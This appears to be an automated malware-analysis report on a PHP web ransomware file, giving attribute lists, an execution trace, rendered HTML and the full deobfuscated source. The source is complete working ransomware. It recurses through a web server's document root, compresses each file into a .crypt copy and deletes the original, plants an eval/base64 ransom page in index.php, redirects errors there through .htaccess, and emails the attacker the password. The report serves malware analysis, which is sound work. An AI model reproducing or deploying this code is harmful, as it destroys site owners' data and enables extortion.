ransomware.php

md5: ee88ea8dfb02b517026bedabac2d3393

Jump to:
Deobfuscated code (Read more)
Execution traces (Read more)
Generated HTML (Read more)
Original Code (Read more)
Screenshot
Attributes
Emails
[email protected] (Deobfuscated, Original, Traces)

Encoding
base64_decode (Deobfuscated, Original)
base64_encode (Deobfuscated, Original)

Environment
error_reporting (Deobfuscated, Original, Traces)
set_time_limit (Deobfuscated, Original, Traces)

Execution
eval (Deobfuscated, Original)

Files
copy (Deobfuscated, Original)
file_get_contents (Deobfuscated, Original)
file_put_contents (Deobfuscated, Original)

Input
_POST (Deobfuscated, Original)

Title
Ransomware (Deobfuscated)

URLs
https://cdn.prinsh.com/data-1/images/NathanPrinsley-rain-sad.gif (Deobfuscated, HTML, Original)
https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/efek-salju.js (Deobfuscated, HTML, Original)
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css (Deobfuscated, HTML, Original)
https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTHiFHseXDz3LwKUGbgiWkKq0Aqrtk0X6a1Vw& (HTML)
https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTHiFHseXDz3LwKUGbgiWkKq0Aqrtk0X6a1Vw&usqp=CAU (Deobfuscated, Original)
https://j.top4top.io/m_2297ddlfw0.mp3 (Deobfuscated)

Deobfuscated PHP code
<head>
<meta charset='utf-8'/>
<meta content='IE=edge' http-equiv='X-UA-Compatible'/>
<meta name="theme-color"content="black">
<meta name="description"content="Ransomware">
<script src="https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/efek-salju.js" type="text/javascript"></script>
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <meta property="og:image" content="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTHiFHseXDz3LwKUGbgiWkKq0Aqrtk0X6a1Vw&usqp=CAU">
        
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>
body { 	 
display: flex;
  align-items: center;
  justify-content: center;
  min-height: 100vh;
background-image: url("https://cdn.prinsh.com/data-1/images/NathanPrinsley-rain-sad.gif");
color:pink;
    height:100%;
    background-position: center;
    background-repeat: no-repeat;
background-size: 100% 100%;
background-attachment:fixed;} 		
:-webkit-full-screen {
 
}
input { 
    background: transparent; 
    color: pink; 
    border: 1px solid green;
    width:cover;
    height:25px;
}
</style>
<?php 
error_reporting(0);
set_time_limit(0);
ini_set('memory_limit', '-1');
if (isset($_POST['pass'])) {
    function encfile($filename)
    {
        if (strpos($filename, '.crypt') !== false) {
            return;
        }
        file_put_contents($filename . ".crypt", gzdeflate(file_get_contents($filename), 9));
        unlink($filename);
        copy('.htaccess', '.htabackup');
        $file = "<title>Ransomware</title>\n     <meta charset='utf-8'/>\n<meta content='IE=edge' http-equiv='X-UA-Compatible'/>\n<meta name=\"theme-color\"content=\"black\">\n<meta name=\"description\"content=\"hacked by \">\n<script src=\"https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/efek-salju.js\" type=\"text/javascript\"></script>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\" />\n        <meta property=\"og:image\" content=\"https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTHiFHseXDz3LwKUGbgiWkKq0Aqrtk0X6a1Vw&usqp=CAU\">\n        \n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css\">\n<style>\nbody { \t \ndisplay: flex;\n  align-items: center;\n  justify-content: center;\n  min-height: 100vh;\nbackground-image: url(\"https://cdn.prinsh.com/data-1/images/NathanPrinsley-rain-sad.gif\");\ncolor:pink;\n    height:100%;\n    background-position: center;\n    background-repeat: no-repeat;\nbackground-size: 100% 100%;\nbackground-attachment:fixed;} \t\nbtnn{\nalign-items: center;\n    justify-content: center;\n    position: relative;\n    background: transparent;\n    border: 1px solid green;\n    letter-spacing: 0px;\n    color: red;\n    width: 60px;\n    height: 25px;\n    padding: 0;\n    font-size: 15px;\n    font-weight: bold;\n}\n</style>\n<font color=\"pink\">\n<?php\nerror_reporting(0);\n\$input = \$_POST['pass'];\n\$pass = \"gomen\";\nif(isset(\$input)) {\nif(md5(\$input) == \$pass) {\nfunction decfile(\$filename){\n\tif (strpos(\$filename, '.crypt') === FALSE) {\n\treturn;\n\t}\n\t\$decrypted = gzinflate(file_get_contents(\$filename));\n\tfile_put_contents(str_replace('.crypt', '', \$filename), \$decrypted);\n\tunlink('crypt.php');\n\tunlink('.htaccess');\n\tunlink(\$filename);\n\techo \"\$filename Decrypted !!!<br>\";\n}\n\nfunction decdir(\$dir){\n\t\$files = array_diff(scandir(\$dir), array('.', '..'));\n\t\tforeach(\$files as \$file) {\n\t\t\tif(is_dir(\$dir.\"/\".\$file)){\n\t\t\t\tdecdir(\$dir.\"/\".\$file);\n\t\t\t}else {\n\t\t\t\tdecfile(\$dir.\"/\".\$file);\n\t\t}\n\t}\n}\n\ndecdir(\$_SERVER['DOCUMENT_ROOT']);\necho \"<br>Webroot Decrypted<br>\";\nunlink(\$_SERVER['PHP_SELF']);\nunlink('.htaccess');\ncopy('htabackup','.htaccess');\necho 'Success !!!';\n} else {\necho 'Failed Password !!!';\n}\nexit();\n}\n?>\n<center>\n<h1>Ransomware</h1>\n<br><br>\n<h3>Your Website Is Encrypted</h3>\n\n\nDon't Change the Filename because it Can Damage the File If You Want to Return You Must Enter the Password First\n<br>\nSend Me \$3 For Back Your Website <br><br>\n<br><br>\n<form enctype=\"multipart/form-data\" method=\"post\">\n    <br>\n<input style=\"align-items: center;\n    justify-content: center;\n    position: relative;\n    background: transparent;\n    border: 1px solid green;\n    letter-spacing: 0px;\n    color: red;\n    width: cover;\n    height: 25px;\n    padding: 0;\n    font-size: 15px;\n    font-weight: bold;\" type=\"text\" name=\"pass\" placeholder=\"Password\">\n<br>\n<input style=\"align-items: center;\n    justify-content: center;\n    position: relative;\n    background: transparent;\n    border: 1px solid green;\n    letter-spacing: 0px;\n    color: red;\n    width: 60px;\n    height: 25px;\n    padding: 0;\n    font-size: 15px;\n    font-weight: bold;\" type=\"submit\" value=\"Decrypt\">\n    <br>\n       <center>\n<br>\n<audio id=\"myAudio\" loop=\"1\">\n            <source src=\"\nhttps://j.top4top.io/m_2297ddlfw0.mp3\" type=\"audio/ogg\">\n            <source src=\"\nhttps://j.top4top.io/m_2297ddlfw0.mp3\" type=\"audio/mpeg\">\n        </audio>\n        <button onclick=\"playAudio()\" style=\"align-items: center;\n    justify-content: center;\n    position: relative;\n    background: transparent;\n    border: 1px solid green;\n    letter-spacing: 0px;\n    color: red;\n    width: 60px;\n    height: 25px;\n    padding: 0;\n    font-size: 15px;\n    font-weight: bold;\" type=\"button\">Play</button>       <button onclick=\"pauseAudio()\" style=\"align-items: center;\n    justify-content: center;\n    position: relative;\n    background: transparent;\n    border: 1px solid green;\n    letter-spacing: 0px;\n    color: red;\n    width: 60px;\n    height: 25px;\n    padding: 0;\n    font-size: 15px;\n    font-weight: bold;\" type=\"button\">Pause</button></center>\n        <script>\n              var x = document.getElementById(\"myAudio\"); \n\n              function playAudio() { \n                  x.play(); \n              } \n\n               function pauseAudio() { \n                  x.pause(); \n              } \n        </script>\n</form>\n<br>Contact Mail : [email protected]\n</font>";
        $q = str_replace('gomen', md5($_POST['pass']), $file);
        $w = str_replace('[email protected]', $_POST['email'], $q);
        $e = str_replace('hello', $_POST['btc'], $w);
        $r = str_replace('$3', '$' . $_POST['price'], $e);
        $dec = $r;
        $comp = "<?php eval('?>'.base64_decode('" . base64_encode($dec) . "'" . ").'<?php '); ?>";
        $hii = fopen('index.php', 'w');
        fwrite($hii, $comp);
        fclose($hii);
        $hta = "DirectoryIndex index.php\n\r\nErrorDocument 403 /index.php\n\r\nErrorDocument 404 /index.php\n\r\nErrorDocument 500 /index.php\n";
        $ht = fopen('.htaccess', 'w');
        fwrite($ht, $hta);
        fclose($ht);
        echo "{$filename} Encrypted !!!<br>";
    }
    function encdir($dir)
    {
        $files = array_diff(scandir($dir), array('.', '..'));
        foreach ($files as $file) {
            if (is_dir($dir . "/" . $file)) {
                encdir($dir . "/" . $file);
            } else {
                encfile($dir . "/" . $file);
            }
        }
    }
    if (isset($_POST['pass'])) {
        encdir($_SERVER['DOCUMENT_ROOT']);
    }
    copy('index.php', $_SERVER['DOCUMENT_ROOT'] . '/index.php');
    copy('.htaccess', $_SERVER['DOCUMENT_ROOT'] . '.htaccess');
    copy($_SERVER['DOCUMENT_ROOT'] . '.htaccess', $_SERVER['DOCUMENT_ROOT'] . '.htabackup');
    $to = $_POST['[email protected]'];
    $subject = 'Your Ransomware Info';
    $message = "Domain : " . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\n\n" . "Your Password : " . $_POST['pass'];
    if (mail($to, $subject, $message)) {
        echo "The password has been sent to your email";
    } else {
        echo "password was not sent to your email";
    }
    exit;
}
?>
</html>
<?php 
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
?>
<center>
<h1>Ransomware</h1>
<br><br><h3>Information :</h3>
Path File : <font color="red"><?php 
echo $_SERVER['SCRIPT_FILENAME'];
?></font><br>
Mail Function : <font color="red"><?php 
if (mail('[email protected]', 'tes', 'tes')) {
    echo "ON";
} else {
    echo "OFF";
}
?></font>
<br><br>
    <center>
<form enctype="multipart/form-data" method="post">
    <br>
<input type="text" name="pass" placeholder="Input Password" >
<br>
<input type="text" name="email" placeholder="Your Email" >
<br>
<input type="text" name="price" placeholder="Price Decrypt" >
<br><br>
<input type="submit" class="input" value="Lock Site">
<br>
</form>
</center>
Execution traces
data/traces/ee88ea8dfb02b517026bedabac2d3393_trace-1676246241.5288.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:57:47.426670]
1	0	1	0.000164	393528
1	3	0	0.000371	430072	{main}	1		/var/www/html/uploads/ransomware.php	0	0
2	4	0	0.000392	430072	error_reporting	0		/var/www/html/uploads/ransomware.php	36	1	0
2	4	1	0.000408	430112
2	4	R			22527
2	5	0	0.000421	430072	set_time_limit	0		/var/www/html/uploads/ransomware.php	37	1	0
2	5	1	0.000437	430136
2	5	R			FALSE
2	6	0	0.000450	430104	ini_set	0		/var/www/html/uploads/ransomware.php	38	2	'memory_limit'	'-1'
2	6	1	0.000465	430208
2	6	R			'128M'
2	7	0	0.000480	430104	ini_set	0		/var/www/html/uploads/ransomware.php	98	2	'output_buffering'	0
2	7	1	0.000495	430176
2	7	R			FALSE
2	8	0	0.000508	430104	ini_set	0		/var/www/html/uploads/ransomware.php	98	2	'display_errors'	0
2	8	1	0.000523	430176
2	8	R			''
2	9	0	0.000535	430104	set_time_limit	0		/var/www/html/uploads/ransomware.php	98	1	0
2	9	1	0.000548	430136
2	9	R			FALSE
2	10	0	0.000561	430104	ini_set	0		/var/www/html/uploads/ransomware.php	98	2	'memory_limit'	'64M'
2	10	1	0.000574	430208
2	10	R			'-1'
2	11	0	0.000587	430104	header	0		/var/www/html/uploads/ransomware.php	98	1	'Content-Type: text/html; charset=UTF-8'
2	11	1	0.000604	430280
2	11	R			NULL
2	12	0	0.000618	430248	mail	0		/var/www/html/uploads/ransomware.php	106	3	'[email protected]'	'tes'	'tes'
2	12	1	0.001662	430344
2	12	R			FALSE
1	3	1	0.001695	430248
			0.001735	336616
TRACE END   [2023-02-12 21:57:47.428273]

Generated HTML code
<html><head>
<meta charset="utf-8">
<meta content="IE=edge" http-equiv="X-UA-Compatible">
<meta name="theme-color" content="black">
<meta name="description" content="Ransomware">
<script src="https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/efek-salju.js" type="text/javascript"></script>
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta property="og:image" content="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTHiFHseXDz3LwKUGbgiWkKq0Aqrtk0X6a1Vw&amp;usqp=CAU">
        
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>
body { 	 
display: flex;
  align-items: center;
  justify-content: center;
  min-height: 100vh;
background-image: url("https://cdn.prinsh.com/data-1/images/NathanPrinsley-rain-sad.gif");
color:pink;
    height:100%;
    background-position: center;
    background-repeat: no-repeat;
background-size: 100% 100%;
background-attachment:fixed;} 		
:-webkit-full-screen {
 
}
input { 
    background: transparent; 
    color: pink; 
    border: 1px solid green;
    width:cover;
    height:25px;
}
</style>
</head><body>
<center>
<h1>Ransomware</h1>
<br><br><h3>Information :</h3>
Path File : <font color="red">/var/www/html/ransomware.php</font><br>
Mail Function : <font color="red">OFF</font>
<br><br>
    <center>
<form enctype="multipart/form-data" method="post">
    <br>
<input type="text" name="pass" placeholder="Input Password">
<br>
<input type="text" name="email" placeholder="Your Email">
<br>
<input type="text" name="price" placeholder="Price Decrypt">
<br><br>
<input type="submit" class="input" value="Lock Site">
<br>
</form>
</center></center></body><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 637.422px; top: -575.481px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1320.48px; top: 236.022px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1765.57px; top: 214.749px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1371.34px; top: 57.9881px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 857px; top: -235px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1489.94px; top: -71.2353px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1690.3px; top: 108.66px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 162.872px; top: -409.751px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 991px; top: -390px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 596px; top: -39px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1523.62px; top: -330.201px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1792.28px; top: 543.592px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1485.34px; top: -325.98px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1579.01px; top: -113.205px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1163.82px; top: 218.071px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 744.651px; top: -51.2426px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 736.362px; top: 3.02355px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 19.2061px; top: 39.6009px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 582.86px; top: 617.718px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 516.242px; top: -502.215px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 999.495px; top: 441.818px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 516.034px; top: 277.138px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1703.5px; top: 86.4084px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 50.7256px; top: -229.306px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 592.843px; top: -256.207px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 623.08px; top: 5.96975px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 293.902px; top: 315.822px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 798.213px; top: 151.46px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 296.308px; top: 203.863px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 635px; top: -582px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1440.87px; top: 532.773px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 802.797px; top: -325.698px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1123.05px; top: 174.233px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 24.4558px; top: -25.4256px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 10.0901px; top: -213.514px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 332px; top: -275px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1170.03px; top: -339.853px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1733.82px; top: -74.9431px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1076px; top: -176px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 16px; line-height: 10px; text-align: center; vertical-align: baseline; left: 595.398px; top: 127.822px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 264.374px; top: -444.265px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 151.93px; top: 52.116px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1049.33px; top: 369.534px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 867.551px; top: 42.7155px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 710.784px; top: -281.798px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 155.669px; top: 637.999px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 541px; top: -113px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 14px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1354.63px; top: -532.813px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 582px; top: -866px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1612.15px; top: -427.739px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 10px; line-height: 10px; text-align: center; vertical-align: baseline; left: 371.832px; top: -49.7667px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 12px; line-height: 10px; text-align: center; vertical-align: baseline; left: 940.339px; top: 100.242px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 18px; line-height: 10px; text-align: center; vertical-align: baseline; left: 1459.93px; top: 55.0935px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 8px; height: 8px; font-family: arial, verdana; overflow: hidden; font-weight: normal; z-index: 0; display: block; bottom: auto; opacity: 1; padding: 0px; margin: 0px; font-size: 20px; line-height: 10px; text-align: center; vertical-align: baseline; left: 447px; top: -509px;">•</div><div style="color: rgb(255, 255, 255); position: absolute; width: 